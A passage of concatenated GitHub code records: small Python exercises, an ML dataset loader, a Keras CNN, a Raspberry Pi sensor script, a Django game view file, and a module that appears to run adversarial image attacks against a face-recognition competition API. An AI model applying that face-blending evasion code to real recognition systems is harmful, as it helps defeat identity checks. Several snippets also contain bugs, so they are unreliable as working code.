BaseExplorer)\n # Basic explorers.\n for name in [\n \"random_actions\",\n \"random_options\",\n ]:\n explorer = create_explorer(name, env.predicates,\n get_gt_options(env.get_name()), env.types,\n env.action_space, train_tasks)\n assert isinstance(explorer, BaseExplorer)\n # Failure case.\n with pytest.raises(NotImplementedError):\n create_explorer(\"Not a real explorer\", env.predicates,\n get_gt_options(env.get_name()), env.types,\n env.action_space, train_tasks)\n","repo_name":"Learning-and-Intelligent-Systems/predicators","sub_path":"tests/explorers/test_base_explorer.py","file_name":"test_base_explorer.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":63,"dataset":"github-code","pt":"66"}
+{"seq_id":"4949219631","text":"import torch\nimport torchvision\nimport torchvision.transforms as transforms\n\ntorch.manual_seed(0)\n\n# dataset code taken from https://colab.research.google.com/github/pytorch/tutorials/blob/gh-pages/_downloads/4e865243430a47a00d551ca0579a6f6c/cifar10_tutorial.ipynb\ntransform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\ndef get_train_test_loaders(train_batch_size=256, test_batch_size=512):\n trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform)\n testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform)\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=train_batch_size, shuffle=True, num_workers=1)\n testloader = torch.utils.data.DataLoader(testset, batch_size=test_batch_size, shuffle=False, num_workers=1)\n\n return trainloader, testloader\n","repo_name":"gurnoor6/oml-lion","sub_path":"image_classification/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"7696570571","text":"# 双指针,快慢\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n def FindKthToTail(self, head, k):\n if head == None or k == 0:\n return None\n kth, end, cnt = None, head, 1\n while end != None:\n if cnt == k:\n kth = head\n elif cnt > k:\n kth = kth.next\n end = end.next\n cnt += 1\n return kth\n","repo_name":"AutuanLiu/Code-Storm2019","sub_path":"Offer/Python/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
+{"seq_id":"11973436470","text":"class Hexagon:\n\n def __init__(self, l, u='6'):\n self.ugal = u\n self.len = l\n\n def calculate_perimeter(self):\n r = (self.len * (3 ** 2)) / 2\n self.radius = r\n s = ((3 * (3 ** 2)) / 2) * (self.len ** 2)\n self.square = s\n p = self.ugal * self.len\n self.perimeter = p\n print(\"Perimeter: \" + str(self.perimeter) + \"; Radius: \" + \n str(self.radius) + \"; Square: \" + str(self.square))\n\nhexagon = Hexagon(2)\nprint(hexagon.calculate_perimeter())\n","repo_name":"pavel-malin/practice_python_and_bash","sub_path":"chall_4.py","file_name":"chall_4.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"8960015007","text":"import adafruit_dht,time,board # importeer de nodige modules\nimport gpiozero as GPIO # importeer deze module en benoem als variabele\nfrom gpiozero import LED # van de gpiozero-module importeer je de LED-module\n\n\ndhtDevice = adafruit_dht.DHT11(board.D12) # de pin D12 is voor de dht11 sensor en stel je gelijk aan de variabele\nled1 = LED(14) # variabele led1 als gpio-pin 14\nled2 = LED(15) # variabele led2 als gpio-pin 15\nled3 = LED(18) # variabele led3 als gpio-pin 18\nled4 = LED(23) # variabele led4 als gpio-pin 23\nled5 = LED(24) # variabele led5 als gpio-pin 24\n\nGPIO.setup(21,GPIO.OUT) # zet GPIO21 als een uitgang\nventilator = GPIO.PWM(21, 100) #deze variable wordt toegekend aan GPIO21 en dat die op een frequentie van 100Hz werkt\nventilator.start(100) # de motor werkt met een frequentie van 100Hz\nteller = 0 # variabele is gelijk aan nul\n\nwhile True: # wanneer waar\n try: # probeer\n time(5) #wacht 5 seconden\n teller+=1 # doe teller + 1\n temperature_c = dhtDevice.temperature # haal de temp op en stop in variabele\n humidity = dhtDevice.humidity # haal de vochtigheid op en stop in variabele\n if humidity >= 20: # als de vochtigheid groter dan of gelijk is dan 20%\n ventilator.ChangeDutyCycle(20) # laat de ventilator op 20% draaien\n print(\"De snelheid vqn de ventilator is op 20%\\n\") # print deze tekst\n elif humidity > 40: # als de vochtigheid groter dan 40% is\n ventilator.ChangeDutyCycle(25) # laat de ventilator op 25% draaien\n print(\"De snelheid vqn de ventilator is op 25%\\n\") # print deze tekst \n elif humidity > 60: # als de vochtigheid groter dan 60% is\n ventilator.ChangeDutyCycle(50) # laat de ventilator op 50% draaien\n print(\"De snelheid vqn de ventilator is op 50%\\n\") # print deze tekst\n elif humidity > 80: # als de vochtigheid groter dan 80% is\n ventilator.ChangeDutyCycle(75) # laat de ventilator op 75% draaien\n print(\"De snelheid vqn de ventilator is op 75%\\n\") # print deze tekst\n else: # anders doe dit\n ventilator.ChangeDutyCycle(0) # laat de ventilator op 0% draaien \n print(\"De snelheid vqn de ventilator is op 0%\\n\") # print deze tekst\n\n if temperature_c >= 15: # als de temp groter dan of gelijk dan 15 graden\n led1.on() # led1 is aan\n led2.off() # led2 is uit\n led3.off() # led3 is uit\n led4.off() # led4 is uit\n led5.off() # led5 is uit\n print(\"led1 is aan\") # print welke led(s) gestuurd word(en)\n elif temperature_c > 18: # als de temp groter dan 18 graden is\n led1.on() # led1 is aan \n led2.on() # led2 is aan\n led3.off() # led3 is uit\n led4.off() # led4 is uit \n led5.off() # led5 is uit\n print(\"led1 led2\\n\") # print welke led(s) gestuurd word(en)\n elif temperature_c > 21: # als de temp groter dan 21 graden is\n led1.on() # led1 is aan\n led2.on() # led2 is aan\n led3.on() # led3 is aan\n led4.off() # led4 is uit\n led5.off() # led5 is uit\n print(\"led1 led2\\n led3\\n\") # print welke led(s) gestuurd word(en) \n elif temperature_c > 24: # als de temp groter dan 24 graden is\n led1.on() # led1 is aan\n led2.on() # led2 is aan\n led3.on() # led3 is aan\n led4.on() # led4 is aan\n led5.off() # led5 is uit\n print(\"led1 led2\\n led3\\n led4\\n\") # print welke led(s) gestuurd word(en)\n elif temperature_c > 27: # als de temp groter dan 27 graden is\n led1.on() # led1 is aan\n led2.on() # led2 is aan\n led3.on() # led3 is aan\n led4.on() # led4 is aan\n led5.on() # led5 is aan\n print(\"led1 led2\\n led3\\n led4\\n led5\\n\") # print welke led(s) gestuurd word(en)\n else: # anders doe dit\n led1.off() # led1 is uit\n led2.off() # led2 is uit\n led3.off() # led3 is uit\n led4.off() # led4 is uit\n led5.off() # led5 is uit\n print(\"alles uit\") # print dat alle ledjes uit zijn\n if teller == 12: # als de teller gelijk is aan 12\n humidity_gemid = humidity/12 # doe de vochtigheid delen door het aantal keren dat er gemeten is, en dat is dus 12 keren en stop in variabele\n temperature_c_gemid = temperature_c_gemid/12 # doe de temp delen door het aantal keren dat er gemeten is, en dat is dus 12 keren en stop in variabele\n print(\"Temperatuur gemiddelde: {:.1f} C Humidity gemiddelde: {}% \".format( #print de gemiddelde temp en vochtigheid met de benodigde symbolen en percentage\n temperature_c_gemid, humidity_gemid)) # deze variabele worden gebruikt bij het uitprinten\n teller = 0 # teller is gelijk aan 0 \n except RuntimeError as error: # behalve als er een fout tijdens het doorlopen van je code optreedt, en benoem dit als de variabele\n print(error.args[0]) # print dit\n time.sleep(2) # wacht 2 seconden\n continue # ga door\n except KeyboardInterrupt: # behalve als er een onderbreking komt van het toetsenbord (control + c)\n print(\"programma is onderbroken\") # print deze tekst\n except Exception as error: # behalve als er een onbekende fout isn en benoem dit als variabele\n dhtDevice.exit() # ga uit de sensor (dht11)\n raise error # stuur een foutmelding\n","repo_name":"ZyaadW/python_oef","sub_path":"examen6iict_vorigJaar.py","file_name":"examen6iict_vorigJaar.py","file_ext":"py","file_size_in_byte":5520,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"32896113972","text":"#class - class is simply represented as type of an object and its is also called blueprint.\r\n#object - object is termed as instance of a class and it has own state.\r\nclass Computer(object):\r\n\t\"\"\"docstring for Computer\"\"\"\r\n\tdef config(self):\r\n\t\tprint(\"i5, 16GB, 1TB\")\r\n\r\ncom1 = Computer()\r\ncom1.config()\r\n\t\r\n","repo_name":"sunilvarma9697/Code-Basics","sub_path":"Classand Objects.py","file_name":"Classand Objects.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"11264016146","text":"def minOperations(boxes):\n\n ans = []\n for x in range(len(boxes)):\n #Left side\n left_counter = 0\n for l in range(len(boxes)):\n if l < x:\n if boxes[l] == '1':\n left_counter += (x - l)\n #Right side\n right_count = 0\n for r in range(len(boxes)):\n if r > x:\n if boxes[r] == '1':\n right_count += (r - x)\n ans.append((left_counter+right_count))\n return ans\n\n\nboxes = \"110\"\nprint(minOperations(boxes))\n\n\n\n\"\"\"\nexpected ans: [1, 1, 3]\n1 move to move all balls to box 1. 1 move to move all balls to box 2\n3 moves to move all balls to box 3\n\"\"\"\n","repo_name":"AbhiByte/PracticeProblems","sub_path":"LeetCode Problems/Python/1769 Minimum Number of Operations to Move All Balls to Each Box.py","file_name":"1769 Minimum Number of Operations to Move All Balls to Each Box.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"19855074607","text":"import numpy as np\nimport cv2\nimport os\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils.np_utils import to_categorical\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.optimizers import Adam\nfrom keras.layers import Dropout,Flatten\nfrom keras.layers.convolutional import Conv2D,MaxPooling2D\n\npath = \"TextDetectionUsingNeuralNetworks\\myData\"\ntestRatio = 0.2\nvalRatio =0.2\n\nimages = []\nclassNo = []\nmyList = os.listdir(path)\nprint(\"Total no of Classes detected\", len(myList))\nnoOfClasses = len(myList)\nimageDimensions = (32, 32, 3)\nprint(\"Importing Classes.....\")\nfor x in range(0, noOfClasses):\n myPicList = os.listdir(path+\"/\"+str(x))#read each num folder\n for y in myPicList:\n curImg = cv2.imread(path+\"/\"+str(x)+\"/\"+y)#each image of respective folder\n curImg = cv2.resize(curImg, (imageDimentions[0], imageDimentions[1]))#resize 180/180 to 32/32 because it is computationally expensive\n images.append(curImg)#all images stored\n classNo.append(x)#all class no are stored\n print(x,end= \" \")\nprint(\" \")\n\n#create array\nimages = np.array(images)\nclassNo = np.array(classNo)\n\nprint(images.shape)#value, shape,shape , no of colors(RGB) =3\nprint(classNo.shape)\n\n#Splittng Data\nX_train, X_test, y_train, y_test = train_test_split(images, classNo, test_size=testRatio)\n#Validation\nX_train, X_validation, y_train, y_validation = train_test_split(X_train, y_train, test_size=valRatio)\n\nprint(X_train.shape, y_train.shape)\n\n# class in y_train\nnumOfSamples = []\nfor x in range(0, noOfClasses):\n numOfSamples.append(len(np.where(y_train==x)[0]))#no of images(which are in numerical 0to9) present in each class in y_train\nprint(numOfSamples)\n\nplt.figure(figsize=(10,5))\nplt.bar(range(0, noOfClasses), numOfSamples)\nplt.title(\"No of images for each Class\")\nplt.xlabel(\"Class ID\")\nplt.ylabel(\"Number of Images\")\nplt.show()\n\nprint(X_train[9].shape)\ndef preProcessing(img):\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)#3 to 1\n img = cv2.equalizeHist(img)#equal light to the image\n img = img/255 # Normalization (restricting the 0-255 to 0-1)\n return img \n\n#preprocess all the images in X_train using map func and convert to array\n\nX_train = np.array(list(map(preProcessing, X_train)))\nX_train = np.array(list(map(preProcessing, X_test)))\nX_validation = np.array(list(map(preProcessing, X_validation)))\n\"\"\"img = X_train[9]\nimg = cv2.resize(img, (300,300))\ncv2.imshow(\"preprocessed\", img)\ncv2.waitKey(0)\nprint(img.shape)\"\"\"\n\n\n#we need to add depth 1 for running cnn properly add 4th parameter as depth\nX_train = X_train.reshape(X_train.shape[0], X_train.shape[1], X_train.shape[2], 1)\nX_test = X_test.reshape(X_test.shape[0], X_test.shape[1], X_test.shape[2], 1)\nX_validation = X_validation.reshape(X_validation.shape[0], X_validation.shape[1], X_validation.shape[2], 1)\n\n\n#Augument the data --for looking real\ndataGen = ImageDataGenerator(width_shift_range=0.1, height_shift_range=0.1, zoom_range=0.2, shear_range=0.1, rotation_range=10)\ndataGen.fit(X_train)#augument it send it back\n\n#encoding\ny_train = to_categorical(y_train, noOfClasses)\ny_test = to_categorical(y_test, noOfClasses)\ny_validation = to_categorical(y_validation, noOfClasses)\n\n#### CREATING THE MODEL \ndef myModel():\n noOfFilters = 60\n sizeOfFilter1 = (5,5)\n sizeOfFilter2 = (3, 3)\n sizeOfPool = (2,2)\n noOfNodes= 500\n\n model = Sequential()\n model.add((Conv2D(noOfFilters,sizeOfFilter1,input_shape=(imageDimensions[0],\n imageDimensions[1],1),activation='relu')))\n model.add((Conv2D(noOfFilters, sizeOfFilter1, activation='relu')))\n model.add(MaxPooling2D(pool_size=sizeOfPool))\n model.add((Conv2D(noOfFilters//2, sizeOfFilter2, activation='relu')))\n model.add((Conv2D(noOfFilters//2, sizeOfFilter2, activation='relu')))\n model.add(MaxPooling2D(pool_size=sizeOfPool))\n model.add(Dropout(0.5))\n\n model.add(Flatten())\n model.add(Dense(noOfNodes,activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(noOfClasses, activation='softmax'))\n\n model.compile(Adam(lr=0.001),loss='categorical_crossentropy',metrics=['accuracy'])\n return model\n\nmodel = myModel()\nprint(model.summary())\n","repo_name":"rajesh0025/Projects","sub_path":"TextDetectionUsingNeuralNetworks/TextDtection.py","file_name":"TextDtection.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"31203622391","text":"from datasets import load_dataset\n\nfrom mlproject.decorators import configurable\n\n\n@configurable\ndef build_dataset(\n dataset_name: str,\n data_dir: str,\n sets_to_include=None,\n):\n if sets_to_include is None:\n sets_to_include = [\"train\", \"validation\"]\n\n dataset = {}\n for set_name in sets_to_include:\n data = load_dataset(\n path=dataset_name,\n split=set_name,\n cache_dir=data_dir,\n task=\"image-classification\",\n )\n dataset[set_name] = data\n\n return dataset\n","repo_name":"AntreasAntoniou/minimal-ml-template","sub_path":"mlproject/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"66"}
+{"seq_id":"73319978129","text":"import torch\nimport torch.nn as nn\nimport json\nimport subprocess\nfrom tinydb import TinyDB\nimport uuid\n\nimport shutil\nfrom PIL import Image, ImageDraw, ImageFilter\n\n\nfrom torchvision.transforms.functional import adjust_contrast, adjust_saturation, adjust_brightness\n\nimport utils.conversions as con\nfrom utils.preprocessing import Preprocessor\n\n\nclass AdversaModel(nn.Module):\n def __init__(self, api_key, save_name=None):\n super().__init__()\n MLSEC_API_KEY = api_key\n self.url = f\"https://api.mlsec.io/api/facerecognition/submit_sample/?api_token={MLSEC_API_KEY}\"\n self.folder = \"/scratch/ameinke03/\"\n if save_name is None:\n self.save_name = str(uuid.uuid1())\n else:\n self.save_name = save_name\n self.save_name += '.png'\n \n def forward(self, x):\n raise NotImplemented()\n \n def forward_class(self, x, y_target, y_source=0):\n img = con.torch_to_PIL(x)\n image_path = self.folder + self.save_name\n img.save(image_path)\n url = self.url + f\"&source={y_source}&target={y_target}\"\n response = subprocess.run(['curl', '-X', 'POST', '--data-binary', f'@{image_path}', f'{url}'], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)\n\n model_result = self.parse_response(response)\n return model_result\n \n def parse_response(self, response):\n result = response.stdout.decode(\"utf-8\").split('\\n')[0]\n model_result = json.loads(result)\n return model_result\n \n \nclass SquareAttackWrapper(nn.Module):\n def __init__(self, model, y_source, y_target, weights=torch.ones(2), verbose=False):\n super().__init__()\n self.model = model\n self.weights = weights\n self.y_source = y_source\n self.y_target = y_target\n self.verbose = verbose\n \n def forward(self, x):\n response = self.model.forward_class(x[0], y_target=self.y_target, y_source=self.y_source)\n score = compute_score_from_output(response)\n if self.verbose:\n print(f'Response:\\t{response}')\n print(f'Score:\\t{score}')\n return torch.tensor([4, score]).unsqueeze(0)\n \n \n# random search with attack parameters: position_x, position_y, width, height, lambda, mask_softener\nclass ImageInterpolator(nn.Module):\n def __init__(self, img_source, img_target):\n super().__init__()\n self.img_s = img_source\n self.img_t = img_target\n self.x_s = con.PIL_to_torch(self.img_s)\n \n def forward(self, v):\n box_s = [int(v[i].item()) for i in range(4)]\n box_t = [int(v[i].item()) for i in range(4,8)]\n border_softening = int(v[8])\n lam = torch.sigmoid(v[9]) \n \n img_t_cropped = self.img_t.crop(tuple(box_t))\n width = box_s[2] - box_s[0]\n height = box_s[3] - box_s[1]\n \n x_t_cropped = con.PIL_to_torch(img_t_cropped.resize((width,height)))\n x_t = torch.zeros_like(self.x_s)\n x_t[:,box_s[1]:box_s[3],box_s[0]:box_s[2]] = x_t_cropped\n \n mask = self.generate_mask(box_s, border_softening)\n \n # mask -= self.create_gaussian_dot(v[16:22])\n mask = torch.clip(mask, 0, 1)\n \n # x_s_transformed = self.transform(v[10:13], self.x_s)\n x_s_transformed = self.x_s\n x_t_transformed = self.transform(v[13:16], x_t)\n sample = mask*(lam*x_t_transformed + (1-lam)*x_s_transformed) + (1-mask)*x_s_transformed\n \n return sample\n \n def transform(self, param_vec, sample):\n contrast_factor = param_vec[0].exp()\n saturation_factor = param_vec[1].exp()\n brightness_factor = param_vec[2].exp()\n \n transformed = adjust_contrast(sample, contrast_factor=contrast_factor)\n transformed = adjust_saturation(transformed, saturation_factor=saturation_factor)\n transformed = adjust_brightness(transformed, brightness_factor=brightness_factor)\n \n return transformed\n \n def create_gaussian_dot(self, param_vec):\n pos_x, pos_y = param_vec[0], param_vec[1]\n var = param_vec[2]**2 + 1e-1\n color = param_vec[3:6]\n \n shape = self.x_s.shape\n xx, yy = torch.arange(shape[1]), torch.arange(shape[2])\n gauss = ( -((xx[:,None]-pos_x)**2 + (yy[None,:]-pos_y)**2) / var ).exp()\n gauss_dot = color[:,None,None] * gauss[None,:,:]\n return gauss_dot\n \n \n def generate_mask(self, box, border_softening):\n mask = torch.zeros_like(self.x_s)\n mask[:, box[1]:box[3], box[0]:box[2]] = 1\n\n for i in range(border_softening):\n smoothed_value = 1-float(i)/border_softening\n mask[:, box[1]+i, box[0]:box[2]] = 1 - smoothed_value\n mask[:, box[1]:box[3], box[0]+i] = 1 - smoothed_value\n mask[:, box[3]-i, box[0]:box[2]] = 1 - smoothed_value\n mask[:, box[1]:box[3], box[2]-i] = 1 - smoothed_value\n\n for i in range(border_softening):\n for j in range(border_softening):\n smoothed_value = max([float(i+j)/border_softening-1, 0])\n mask[:, box[1]+i, box[0]+j] = smoothed_value\n mask[:, box[1]+i, box[2]-j] = smoothed_value\n mask[:, box[3]-i, box[0]+j] = smoothed_value\n mask[:, box[3]-i, box[2]-j] = smoothed_value\n\n return mask\n# def generate_mask(self, box, border_softening):\n# mask = torch.zeros_like(self.x_s)\n# mask[:, box[1]:box[3], box[0]:box[2]] = 1\n\n# for i in range(border_softening):\n# smoothed_value = 1-float(i)/border_softening\n# mask[:, box[1]+i, box[0]:box[2]] = 1 - smoothed_value\n# mask[:, box[1]:box[3], box[0]+i] = 1 - smoothed_value\n# mask[:, box[3]-i, box[0]:box[2]] = 1 - smoothed_value\n# mask[:, box[1]:box[3], box[2]-i] = 1 - smoothed_value\n\n# mask[:, box[1]:box[1]+i, box[0]:box[0]+i] = 0.1\n# mask[:, box[1]:box[1]+i, box[2]-i:box[2]] = 0.1\n# mask[:, box[3]-i:box[3], box[0]:box[0]+i] = 0.1\n# mask[:, box[3]-i:box[3], box[2]-i:box[2]] = 0.1\n \n# return mask\n\ndef compute_score_from_output(output):\n conf = output['confidence']\n stealth = output['stealthiness']\n if conf<0.01:\n return -1. + stealth\n if conf+stealth < 1.:\n return conf\n elif stealth<0.5:\n return conf + stealth \n elif conf<1.:\n return 2. + conf\n else:\n return 2. + conf + stealth\n\n \nclass RandomSearchWrapper(nn.Module):\n def __init__(self, model, interpolator, source_id, target_id):\n super().__init__()\n self.model = model\n self.interpolator = interpolator\n self.source_id = source_id\n self.target_id = target_id\n \n def forward(self, v):\n sample = self.interpolator(v)\n model_output = self.model.forward_class(sample, self.target_id, y_source=self.source_id)\n return compute_score_from_output(model_output)\n \n \nclass RandomSearchAttack():\n def __init__(self, wrapper, epochs=20, magnitude=50, verbose=True, step_size=None):\n self.wrapper = wrapper\n self.magnitude = magnitude\n self.epochs = epochs\n self.verbose = verbose\n \n magnitude = self.magnitude\n if step_size is None:\n self.step_size = torch.tensor([20.,20.,20,20, \n 20.,20,20,20, \n 5, .1] + 6*[0.1]\n + [50, 50, 2, .2, .2, .2]) / magnitude\n else:\n self.step_size = step_size\n \n def run(self, v):\n prev_point = v\n\n prev_value = self.wrapper(prev_point)\n if self.verbose:\n print(f'Starting value: {prev_value}')\n\n magnitude = self.magnitude\n step_size = self.step_size\n\n epochs = self.epochs\n for i in range(5*epochs):\n if i==epochs:\n magnitude = 30\n elif i==2*epochs:\n magnitude = 10\n elif i==3*epochs:\n magnitude = 3\n elif i==4*epochs:\n magnitude = 1\n elif i==5*epochs:\n magnitude = .5\n\n delta = magnitude*step_size*torch.randn(len(v))\n \n try:\n new_point = prev_point + delta\n value = self.wrapper(new_point)\n except:\n continue\n\n if self.verbose:\n # print('')\n # print(i)\n print(f'{value}')\n # print('{new_point[:4]}\\n{new_point[4:8]}\\n{new_point[8:]}')\n\n if value>prev_value:\n prev_value = value\n prev_point = prev_point + delta\n \n if value>3.0:\n break;\n\n return prev_point\n\n \nclass AttackScheduler():\n def __init__(self, api_key, extension_factor=1.):\n self.model = AdversaModel(api_key)\n self.preprocessor = Preprocessor(extension_factor=1.)\n self.db = TinyDB('evals/results.json')\n \n def attack_pair(self, source_id, target_id, verbose=True, epochs=None):\n if epochs is None:\n epochs = 100\n \n assert source_id!=target_id\n img_s = Image.open(f'adversa_data/{source_id}_{source_id}.png')\n img_t = Image.open(f'adversa_data/{target_id}_{target_id}.png')\n\n interpolator = ImageInterpolator(img_s, img_t)\n \n _, box_s, _ = self.preprocessor(img_s)\n _, box_t, _ = self.preprocessor(img_t)\n\n initial_point = torch.cat([torch.tensor(box_s), \n torch.tensor(box_t), \n torch.tensor([50, 2.0]), \n torch.zeros(6), \n torch.tensor([100,100,5,.5,.5,.5])\n ], 0)\n \n wrapper = RandomSearchWrapper(self.model, interpolator, source_id, target_id)\n attack = RandomSearchAttack(wrapper, verbose=verbose, epochs=epochs)\n\n final_point = attack.run(initial_point)\n sample = interpolator(final_point)\n \n output = self.model.forward_class(sample, target_id, y_source=source_id)\n \n self.store_output(output, source_id, target_id, final_point)\n \n \n def store_output(self, output, source_id, target_id, final_point):\n doc_id = self.get_doc_id(source_id, target_id)\n entry = self.db.get(doc_id=doc_id)\n assert entry['Name'] == f'{source_id}_{target_id}'\n \n if output['success'] and output['confidence']>entry['confidence']:\n entry['confidence'] = output['confidence']\n entry['success'] = output['success']\n entry['stealthiness'] = output['stealthiness']\n entry['v'] = final_point.tolist()\n \n shutil.copyfile(self.model.folder + self.model.save_name, \n f'adversa_results/{source_id}_{target_id}.png')\n self.db.update(entry, doc_ids=[doc_id])\n print('Replaced old entry')\n print(entry)\n \n def get_doc_id(self, source_id, target_id):\n doc_id = 0\n stop = False\n for i in range(10):\n if stop:\n break\n for j in range(10):\n if i==j:\n continue\n else:\n doc_id += 1\n if i==source_id and j==target_id:\n stop = True\n break\n return doc_id\n \n def summarize_results(self):\n conf = sum([el['confidence'] for el in self.db.all()])\n stealth = sum([el['stealthiness'] for el in self.db.all()])\n print(f'Confidence: {conf}')\n print(f'Stealthiness: {stealth}')\n return conf, stealth\n\n \nclass AlternateAttackScheduler(AttackScheduler): \n def attack_pair(self, source_id, target_id, verbose=True, epochs=None):\n if epochs is None:\n epochs = 100\n \n assert source_id!=target_id\n \n wrapper = AlternateRandomSearchWrapper(self.model, source_id, target_id)\n \n step_size = torch.tensor([3, 3, 3, 3, .2, .2])\n attack = RandomSearchAttack(wrapper, verbose=verbose, epochs=epochs, step_size=step_size)\n \n img_s = Image.open(f'adversa_data/{source_id}_{source_id}.png')\n w, h = img_s.size[0], img_s.size[1]\n x, y = 0, 0\n angle = 0\n blur = 0\n \n initial_point = torch.tensor([w, h, x, y, angle, blur])\n final_point = attack.run(initial_point)\n sample = wrapper.interpolate(final_point)\n \n output = self.model.forward_class(sample, target_id, y_source=source_id)\n \n self.store_output(output, source_id, target_id, final_point)\n \n \nclass AlternateRandomSearchWrapper(nn.Module):\n def __init__(self, model, source_id, target_id):\n super().__init__()\n self.model = model\n self.source_id = source_id\n self.target_id = target_id\n self.img_s = Image.open(f'adversa_data/{source_id}_{source_id}.png')\n self.img_t = Image.open(f'adversa_data/{target_id}_{target_id}.png')\n self.mask = Image.open(f'segmentation_masks/{target_id}_{target_id}.png').convert(\"L\") \n self.EPS = 1\n \n def forward(self, v):\n sample = self.interpolate(v)\n model_output = self.model.forward_class(sample, self.target_id, y_source=self.source_id)\n return compute_score_from_output(model_output)\n \n def interpolate(self, v):\n mask_im_blur = self.mask.filter(ImageFilter.GaussianBlur(int(v[5].abs().item()+self.EPS)))\n back_im = self.img_s.copy()\n w, h = int(v[0].abs().item()+self.EPS), int(v[1].abs().item()+self.EPS) #img_t.size\n x, y = int(v[2]), int(v[3]) #0, 0\n angle = v[4]\n new_img_t = self.img_t.resize((w,h)).rotate(angle)\n new_mask_im_blur = mask_im_blur.resize((w,h)).rotate(angle)\n back_im.paste(new_img_t, (x, y), new_mask_im_blur)\n \n sample = con.PIL_to_torch(back_im)\n return sample\n","repo_name":"AlexMeinke/FacialRecognitionAttack","sub_path":"utils/adversa.py","file_name":"adversa.py","file_ext":"py","file_size_in_byte":14295,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"74667927891","text":"from datetime import datetime\nfrom math import floor\nimport random\nimport hashlib\nimport re\nimport json\n\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect, Http404, HttpResponse\nfrom django.urls import reverse\nfrom django.contrib import messages\nfrom django.conf import settings\nfrom django.db.models import Count, Q, F, FloatField\nfrom django.db.models.functions import Cast, Coalesce\n\nfrom project.emails import send_email\nfrom .models import *\n\n\nGAMEPLAY_OPTIONS = {\n \"lynching_shared\": {\"description\": \"Everyone can see public lynching votes as they are cast\" },\n \"mafia_kills_shared\": {\"description\": \"Mafia can see who their team mates are trying to assasinate (if they refresh the page)\"},\n \"show_suspicion_pc_on_death\": {\"description\": \"When a player is killed their correct % suspicion is shared with everyone\"},\n #\"shot_clock\": {\"description\": \"Slowest player in the round has 30 seconds to act or their choice is set to None\"},\n}\n\ndef home(request):\n context = {}\n return render(request, 'matthews/home.html', context)\n\n\ndef new_game(request):\n game = Game()\n game.save()\n\n if 'continue' in request.GET:\n old_game_id = request.session['game_id']\n old_game = Game.objects.get(id=old_game_id)\n old_game.next_game = game\n old_game.save()\n game.options = old_game.options\n game.save()\n name = old_game.players.first().name\n else:\n name = request.GET['leader']\n return join(request, game.id, name, True)\n\n\ndef make_invite_hash(game_id, name):\n cleartext = str(game_id) + 'invite_hash' + name + settings.SECRET_KEY\n return hashlib.md5(cleartext.encode('utf-8')).hexdigest()\n\n\ndef make_invite_url(game_id, name):\n kwargs = {'id': game_id, 'name': name, 'hash': make_invite_hash(game_id, name)}\n return settings.BASE_URL + reverse('matthews:join', kwargs=kwargs)\n\n\ndef invite(request, id):\n game = Game.objects.get(id=id)\n\n if game.date_started:\n messages.add_message(request, messages.WARNING, \"Can't invite new players the game has started\")\n return HttpResponseRedirect(reverse('matthews:game'))\n\n if request.method == \"POST\":\n player_list = request.POST['name_and_email']\n\n if game.date_started:\n raise Exception(\"This game has already started, blame {}\".format(game.players.first().name))\n\n for name, email in (x.split(',') for x in player_list.split('\\n')):\n name = name.strip()\n email = email.strip()\n url = make_invite_url(id, name)\n msg = \"Join game {}\".format(url)\n if '@' in email:\n send_email([email], 'Join Matthews Game', html_content=msg, text_content=msg)\n elif not Player.objects.filter(game=game, name=name).first():\n player = Player(name=name, game=game)\n player.save()\n messages.add_message(request, messages.INFO, 'Player {} invited by email with {}'.format(name, url))\n\n return HttpResponseRedirect(reverse('matthews:invite', kwargs={'id': game.id}))\n\n context = {\n 'game': game,\n 'players': game.players.all(),\n 'my_player': Player.objects.filter(id=request.session.get('player_id')).first(),\n }\n return HttpResponseRedirect(reverse('matthews:game'))\n\n\ndef join(request, id, name, hash):\n game = Game.objects.get(id=id)\n\n if hash != True and hash != make_invite_hash(game.id, name):\n messages.add_message(request, messages.INFO, \"The link you follwed is invalid, please check and retry\")\n return HttpResponseRedirect(reverse('matthews:home'))\n\n player = Player.objects.filter(game=game, name=name).first()\n if not player:\n if game.date_started:\n messages.add_message(request, messages.INFO, \"That game has already started so you can't join\")\n return HttpResponseRedirect(reverse('matthews:home'))\n\n player = Player(name=name, game=game)\n player.save()\n\n request.session['game_id'] = game.id\n request.session['player_id'] = player.id\n\n return HttpResponseRedirect(reverse('matthews:game'))\n\n\ndef update_options(request):\n game = Game.objects.get(id=request.session['game_id'])\n if 